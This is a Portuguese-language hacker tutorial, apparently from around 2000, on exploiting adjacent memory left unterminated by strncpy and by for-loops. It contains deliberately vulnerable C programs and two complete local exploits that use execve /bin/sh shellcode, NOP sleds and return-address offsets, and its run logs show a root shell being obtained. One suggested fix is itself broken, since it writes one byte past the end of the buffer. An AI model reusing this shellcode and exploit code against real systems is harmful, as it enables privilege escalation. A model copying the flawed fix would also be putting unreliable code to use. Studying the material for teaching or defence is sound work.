* EXPLOITANDO MEMORIA ADJACENTE *
***********************************
1 - Introducao
2 - O Problema
3 - A Exploitacao
4 - Expansao do Conceito
5 - Terminando
5.1 - Links e Referencias
5.2 - Consideracoes Finais
5.2 - Agradecimentos
---------------
1 - Introducao |
---------------
Os ataques de Buffer Overflows parecem que ainda perdurarao por algum
tempo. Apesar dos esforcos de grande parte da Comunidade de Seguranca,
os exemplos de condicoes de overflow permanecem como uma "constante"
entre os aplicativos de um modo geral.
Ateh onde eu conheco, o conceito de buffer overflow eh apenas um, no
entanto, as tecnicas para implementacao deste conceito sao diversas. E
ateh onde eu sei, o Mudge(antiga L0pht, hoje @stake), foi o primeiro a
expandir para as massas o conceito de buffer overflows. Desde o worm
(Robert Morris, 1988) ateh os nossos dias, muitos programadores tem
procurado diminuir as condicoes de buffer overflows em programas que
manipulam parametros recebidos de um usuario, substituindo funcoes
conhecidas como vulneraveis(strcpy, gets, sprintf) por funcoes que
necessariamente fazem checagem do tamanho dos parametros recebidos
(strncpy, snprintf, etc).
No dia 01 de maior de 2000, twich (twitch@vicar.org) tornou manifesto
uma tecnica capaz de exploitar espacos de memoria adjacente,
especificamente o manuseio incorreto das funcoes ditas seguras(strcnpy,
por exemplo). As Analises de codigo-fonte(auditoria) passaram agora
a incluir todo tipo de funcoes, demonstrando assim que nao basta apenas
a funcao fazer a checagem do tamanho dos parametros, mas outros fatores
passaram a ser essenciais.
Neste documento abordaremos esta tecnica. Conhecimentos em C, Assembly
(AT&T), escrita de exploits(ver docs da Unsek Scene) e linux se fazem
necessarios. E principalmente mentalidade fucadora!
---------------
2 - O Problema |
---------------
Podemos descrever basicamente o problemas com as funcoes ditas seguras
(strncpy, strncat, etc) eh que elas nao sao capazes de terminar
automaticamente os buffers ou strings com um NULL. Como assim?
Vejamos nosso primeiro codigo inicial:
----------------------------------- b1.c ----------------------------------
/* Exemplo de strncpy() */
#include
#include
int main(int argc, char *argv[]){
char buffer[256];
/* Iremos copiar argv[1] para buffer e imprimir */
strncpy(buffer,argv[1],sizeof(buffer));
/* Iremos imprimir o tamanho da string recebida em argv[1] */
printf("strlen: %d | sizeof: %d\n",strlen(buffer), sizeof(buffer));
return 0;
}
--------------------------------------------------------------------
Como sabemos, strcnpy() ira copiar os dados recebidos da linha de
comando ateh chegar o tamanho de buffer(sizeof(buffer)) ou ateh
receber um NULL(\0), vejamos um exemplo de execucao:
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 255'`
strlen: 255 | sizeof: 256
A "anomalia" ocorre quando digitamos mais dados que o tamanho do
buffer de espera. Vejamos:
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 256'`
strlen: 265 | sizeof: 256
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 257'`
strlen: 265 | sizeof: 256
Como podemos notar strlen() contem um tamanho superior ao esperado.
Isso ocorre porque strncpy() nao recebeu o caracter NULL e de alguma
forma uniu dados ateh encontrar um NULL. Podemos clarear mais analisando
o programa abaixo:
-------------------------------- b2.c --------------------------------
/* Exemplo 2 de strncpy() */
#include
#include
int main(int argc, char *argv[]){
char buffer1[20], buffer2[8];
/* Iremos copiar argv[1] para buffer1 */
strncpy(buffer1,argv[1],sizeof(buffer1));
/* Iremos copiar buffer1 para buffer2 */
strncpy(buffer2,buffer1,sizeof(buffer2));
/* Iremos imprimir agora o conteudo de buffer2 */
printf("Buffer2: %s\n",buffer2);
return 0;
}
------------------------------------------------------------------------
Executando este programa, teoricamente deveriamos ter a saida de buffer2,
ou seja, uma string contendo 8 caracteres.Mas vejamos:
kimera3:/work/testes# ./b2 NashLeon
Buffer2: NashLeonNashLeon
NashLeonNashLeon possue 16 caracteres.
No mais a gente pode brincar com isso:
kimera3:/work/testes# ./b2 NashLeonUnsek
Buffer2: NashLeonNashLeonUnsek
kimera3:/work/testes# ./b2 NashLeonUnsekScene
Buffer2: NashLeonNashLeonUnsekScene
kimera3:/work/testes# ./b2 NashLeonUnsekSceneAgain
Buffer2: NashLeonNashLeonUnsekSceneAgxúÿ¿çâ@
Ele imprime justmente porque o strncpy() nao encontrou o caracter
NULL como esperava. Com menos de 8 caracteres, poderiamos ter:
kimera3:/work/testes# ./b2 Nash
Buffer2: Nash
kimera3:/work/testes# ./b2 NashLeo
Buffer2: NashLeo
Ou seja, a execucao e impressao em modo normal e esperado, jah que
temos um NULL na string indicando o termino dela. O stack nesse
caso iria parecer como:
Memoria
Alta
|| ----------------> [Topo do Stack]
|| ----------------> [ 'N' (buffer2 - 0) ]
|| ----------------> [ 'a' (buffer2 - 1) ]
|| ----------------> [ 's' (buffer2 - 2) ]
|| ----------------> [ 'h' (buffer2 - 3) ]
|| ----------------> [ 'L' (buffer2 - 4) ]
|| ----------------> [ 'e' (buffer2 - 5) ]
|| ----------------> [ 'o' (buffer2 - 6) ]
|| ----------------> [ 'n' (buffer2 - 7) ]
|| ----------------> [ 'N' (buffer1 - 0) ]
|| ----------------> [ 'a' (buffer1 - 1) ]
|| ----------------> [ 's' (buffer1 - 2) ]
|| ----------------> [ 'h' (buffer1 - 3) ]
|| ----------------> [ 'L' (buffer1 - 4) ]
|| ----------------> [ 'e' (buffer1 - 5) ]
|| ----------------> [ 'o' (buffer1 - 6) ]
|| ----------------> [ 'n' (buffer1 - 7) ]
|| ----------------> [ 'U' (buffer1 -
|| ----------------> [ 'n' (buffer1 - 9) ]
|| ----------------> [ 's' (buffer1 - 10) ]
|| ----------------> [ 'e' (buffer1 - 11) ]
|| ----------------> [ 'k' (buffer1 - 12) ]
|| ----------------> [ 0x00 (buffer1 - 13) ]
||
|| ...
\/
Como podemos ver, este problema eh real e pode ser exploitado. Veremos
como na secao abaixo.
------------------
3 - A Exploitacao |
------------------
Este problema pode ser exploitado de inumeras maneiras. Dependendo
do nivel do atacante, ele pode se aproveitar ateh mesmo do exemplo
inicial postado neste documento. Como este e todos os meus documentos
visam NewBies, veremos inicialmente o exemplo mais trivial de se
exploitar este problema.
Como vimos no exemplo acima, strlen() tende a ser maior do que o
esperado quando enchemos um buffer e strncpy() nao encontra um NULL,
criando assim anomalias entre a interacao de funcoes.
Vejamos abaixo uma possivel implicacao disso:
-------------------------------- v.c ------------------------------------
/* Exemplo inicial de programa vulneravel
* Documento sobre problemas com memoria adjacente
* Nash Leon - nashleon@yahoo.com.br.
*/
#include
#include
int bugada(char *buffer);
int main(int argc,char *argv[]) {
char buf1[512];
char buf2[256];
strncpy(buf2,argv[1],sizeof(buf2));
strncpy(buf1,argv[2],sizeof(buf1));
bugada(buf2);
return 0;
}
int bugada(char *buffer){
char buf3[300];
int i;
/* note que buf3 suporta 300 bytes enquando
* buf2(buffer) teoricamente deveria conter no maximo
* 256.
*/
for(i = 0; i < strlen(buffer); i++){
buf3[i] = buffer[i];
}
}
----------------------------------------------------------------------
Para exploitarmos este programa, nao tem muito segredo. Vamos encher
o primeiro buffer com NOPs e o nosso shellcode, e o segundo apenas
com o endereco de retorno. Existem inumeros esquemas em cima disso,
em alguns casos, partindo o shellcode ou manipulando NOPs, enfim,
vejamos o exploit abaixo:
--------------------------------- ev.c -----------------------------------
/* Primeiro exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br
*/
#include
#include
#include
#include
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;
if(argc < 2){
printf("Uso: %s
exit(0);
}
offset = atoi(argv[1]);
memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));
retaddr = get_sp() + offset;
for(i=0; i< LENBUFF2; i+=4){
buff2[i]=(retaddr&0x000000ff);
buff2[i+1]=(retaddr&0x0000ff00)>>8;
buff2[i+2]=(retaddr&0x00ff0000)>>16;
buff2[i+3]=(retaddr&0xff000000)>>24;
}
printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}
----------------------------------------------------------------------
Vamos executar ele, entao:
kimera3:/work/testes# ./ev 150
Usando Retorno: 0xbffff7f2
Segmentation fault (core dumped)
kimera3:/work/testes# ./ev 155
Usando Retorno: 0xbffff7f7
sh-2.03#
Como podemos ver, eh funcional! Mas podemos dividi-lo e aprimora-lo
ateh mesmo para evitar o uso de offsets. Outro possivel esquema pode
obedecer o seguinte modelo descrito pelo twitch na Phrack 56:
Apos a execucao de strncpy(), buf2 deve parecer com:
[ 0 ......................................................... 512 ]
--------------------------------------------------------------------
| | |
| offset_para_shellcode | Um monte de lixo(NULL, NOPs) |
| | |
--------------------------------------------------------------------
E buf1 deve parecer com:
[ 0 .......................................................... 256 ]
--------------------------------------------------------------------
| | | |
| Cadeia de NOP's | shellcode | Mais NOP's |
| | | |
--------------------------------------------------------------------
Logo, para este esquema poderiamos ter o seguinte exploit:
-------------------------------- ev2.c ---------------------------------
/* Segundo exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br
*/
#include
#include
#include
#include
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;
if(argc < 2){
printf("Uso: %s
exit(0);
}
offset = atoi(argv[1]);
memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));
retaddr = get_sp() + offset;
memset(buff2,0x90,sizeof(buff2));
for(i=0; i< LENBUFF2 - 360; i+=4){
buff2[i]=(retaddr&0x000000ff);
buff2[i+1]=(retaddr&0x0000ff00)>>8;
buff2[i+2]=(retaddr&0x00ff0000)>>16;
buff2[i+3]=(retaddr&0xff000000)>>24;
}
printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}
----------------------------------------------------------------------
Executando:
kimera3:/work/testes# ./ev2 120
Usando Retorno: 0xbffff7c4
sh-2.03#
Bom, como podemos perceber nao ha muito problema em exploitar este
tipo de problema. Mas podemos ir mais alem.
-------------------------
4 - Expansao do Conceito |
-------------------------
Qualquer funcao que manipula strings a espera de um caracter NULL
para "encerrar" a string pode estar vulneravel a este tipo de problema.
Vimos no exemplo acima, strncpy(), uma funcao que eh muito usada, mas
podemos ir mais alem.
As seguintes funcoes tambem podem apresentar problemas:
fread()
read() [ read(), readv(), pread() ]
memcpy()
memccpy()
memmove()
bcopy()
for(i = 0; i < MAXSIZE; i++)
buf[i] = buf2[i];
gethostname()
strncat()
e etc.
Hoje em dia, a que mais chama a atencao eh a for().
Vejamos o exemplo abaixo:
------------------------------- v2.c ---------------------------------
/* Exemplo de programa vulneravel em for().
* Documento sobre problemas com memoria adjacente
* Nash Leon - nashleon@yahoo.com.br.
*/
#include
#include
#define MAXSIZE 256
int bugada(char *buffer);
int main(int argc,char *argv[]) {
char buf1[MAXSIZE];
char buf2[MAXSIZE];
char *pam;
int i;
pam = argv[1];
/* Copiamos conteudo de argv[1] para buf1 */
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
for(i =0; i < MAXSIZE; i++){
buf2[i] = buf1[i];
}
bugada(buf2);
return 0;
}
int bugada(char *buffer){
char buf3[MAXSIZE];
int i;
for(i = 0; i < strlen(buffer); i++){
buf3[i] = buffer[i];
}
}
-------------------------------------------------------------------
# gdb ./v2
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) r `perl -e 'print "A" x 256'`
Starting program: /work/testes/./v2 `perl -e 'print "A" x 256'`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Bom, como podemos ver, o problema eh serio! E condicoes com for()
ainda tem sido manifestadas em inumeros programas. O conceito eh este
e em breve espero poder abordar maiores pormenores sobre isso.
---------------
5 - Terminando |
---------------
Mais um documento sobre buffer overflows. Inumeras tecnicas existem e
este documento eh mais um basico.
Para impedir que os buffers sejam usados em condicoes de overflow
pela funcoes, em muitos casos basta apenas inserir um caracter NULL(\0)
no final do buffer, algo como:
#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE - 1] = '\0';
...
ou entao jah evitar quais problemas na propria funcao receptora:
#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE - 1; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE] = '\0';
...
5.1 - Links e Referencias
--------------------------
Existem varios documentos descrevendo esta tecnica, no entanto, em
forma de tutorial encontrei apenas dois ateh agora:
P56-14 - "TAKING ADVANTAGE OF NON-TERMINATED ADJACENT MEMORY SPACES" -
escrito por twitch - http://www.phrack.org/
" Exploiting none terminated buffers" - escrito por pr1 -
http://www.u-n-f.com/
Outros links interessantes:
http://www.kimera.com.br/
http://www.linuxsecurity.com.br/
http://unsekurity.virtualave.net/
http://www.axur.org/
http://www.securenet.com.br/
http://int0x80.host.sk/
http://www.unsecurity.org/
http://www.core-sdi.com/
http://packetstorm.linuxsecurity.com/
http://www.securityfocus.com/
http://www.counterpane.com/
http://www.atstake.com/
http://teso.scene.at/
5.2 - Consideracoes Finais
---------------------------
Buffer overflows eh uma tecnica fascinante, como qualquer outra tecnica
fucadora. O interessante aqui nao eh a programacao, mas a malicia.
Tenho visto muitas pessoas confundirem hacking com programacao. Achando
que programar em Assembly ou saber fazer isso ou aquilo outro os torna
especiais.
Nao sei, mas neste ponto concordo com Mitnick:
"Super-programadores sao pessimos hackers!".
De modo que, a malicia nao estah associada a capacidade de programar.
Dizem que programar eh resolver problemas, mas vejo muitos programadores
seguirem sempre uma logica pre-definida, ensinada por alguem. O hacking
ultrapassa essa esfera. Eh resolver problemas com o que se tem na mao
e nao construindo coisas para facilitar.Eh alterar a propria logica,
a regra do jogo, manipulando-a de uma forma nao-convencional(pre-
estabelecida).
Programar eh importante, mas eh apenas uma das facetas do hacking, tem
muito mais coisas e coisas mais importantes que estas.
Devemos dar um passo devagar e constante, olhando tudo ao nosso redor
e procurando definir limites as nossas acoes. A experiencia se adquire
com o tempo, o que antes parecia devaneio, agora pode ser realidade,
e o que muitos creem hoje ser fabula amanha pode se tornar um pesadelo.
Nao existe destino individual, cada um decide qual lado da forca quer
ajudar.A utilizacao do conhecimento eh o que nos torna o ser humano
que somos e nao o contrario. Se guardarmos o conhecimento apenas para
nos mesmos, deixaremos de lado a existencia de um hacker no espirito
humano.
5.3 - Agradecimentos
---------------------
Agradeco a Deus pela oportunidade de ter um objetivo na vida.
E tambem as pessoas que compartilham o conhecimento para produzir mais
conhecimento e beneficiar a vida das pessoas. Tambem as inumeros grupos
e fucadores que nao podem assinar os documentos, ou exploits e programas
que escrevem mas que utilizam suas forcas para ajudar o proximo. Agradeco
aos hackers corajosos que disponibilizam infos em paises cuja lei nao
permite, que sao perseguidos por lutarem contra a propriedade intelectual
e por procurarem democratizar nao apenas os softwares mas tambem, e
principalmente, a informacao.
Por fim, a todos que colaboram com a cena hacker aqui no brasil e que sao
criticados e hostilizados por acreditarem que a etica hacker pode ser
real para aqueles que a vivenciam. Aos grupos Int 0x80, Unsekurity Scene,
ZinesBR, Unsecurity.org, EoH, as scenes de outros paises, a
linuxsecurity.com.br, Axur Corp, Kimera - Solucoes em Seguranca,
BufferOverflow.org, e a todos que fazem parte deste universo da
inseguranca da informacao.
Um Abraco
Nash Leon.
Unsekurity Team.
0 comentários:
Postar um comentário